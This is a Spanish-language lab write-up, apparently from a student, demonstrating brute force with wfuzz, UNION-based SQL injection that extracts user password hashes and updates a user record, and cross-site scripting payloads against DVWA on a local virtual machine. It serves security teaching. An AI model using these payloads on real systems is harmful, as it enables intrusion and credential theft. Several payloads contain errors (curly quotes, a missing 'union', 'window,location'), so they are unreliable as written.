Demostración

_ Para la demostración usamos una aplicación web llamada Damn Vulnerable Web Application (DVWA). Sus principales objetivos son ayudar a los profesionales de la seguridad a poner a prueba sus habilidades y herramientas en un entorno legal, ayudar a los desarrolladores web a comprender mejor los procesos de protección de las aplicaciones web y ayudar a los profesores / estudiantes a enseñar / aprender sobre seguridad de las aplicaciones web en un entorno de aula.

_ Esta aplicación fue montada en una máquina virtual corriendo kali linux y de ahí usamos mariadb para la bases de datos y apache server para el servidor.

_ Para demostrar pocas prácticas de seguridad utilizamos los ataques de fuerza bruta, inyección SQL y Cross site scripting.

Fuerza bruta

_ Con la herramienta wfuzz y con el usuario admin que sacamos de la inyección sql probamos acceder la la una lista de contraseñas:

wfuzz --hs "incorrect" -c -w wpa2-wordlists/PlainText/baby.txt -b 'security=low; PHPSESSID=idg7chuihuthkfovf63u1ot9s4' 'http://127.0.0.1/DVWA/vulnerabilities/brute/?username=admin&password=FUZZ&Login=Login#'

Inyeccion SQL

_ Primero a través del URL verificamos si en el campo de texto es vulnerable para un ataque con inyección intentado que la página nos devuelva un error a través de comandos SQL.

id=2'

_ Lo próximo que debemos hacer es verificar cuantas columnas tiene la tabla que modifica el campo

id=1’ order by 1--+

id=1’ order by 1,2--+

id=1’ order by 1,2,3--+

_ Podemos ver que tiene 2 columnas nomas

id=1' union select 1,2 --+

_ Ahora vamos a ver el nombre de la base de datos y la versión en uso de la misma:

id=1’ select database(),version()--+

_ Seguido a esto podemos ver cuales son las tablas en las bases de datos y vemos que nuestro objetivo tiene el nombre de users:

id=1' union select 1,table_name from information_schema.tables--+

_ Ahora podemos buscar las columnas en donde la tabla tenga el nombre users pero no podemos poner user directamente por eso lo ponemos en decimal y luego lo convertimos en char:

id=1' union select 1,column_name from information_schema.columns where table_name=”users” --+

id=1' union select user,password from users --+ Pruebo actualizar un usuario

; update users set first_name='martin', last_name = 'caceres' , password=md5(contra) where user_id = 4 ; --+

MD5 Decrypt online

Cross site scripting

_ Dificultad baja no existe medidas

_ Dificultad media solo en el mensaje Dificultad alta no permite el tag script

<script>alert(“hola”)</script>

test

<script>window,location(“http\\:ucc.edu.ar”)</script>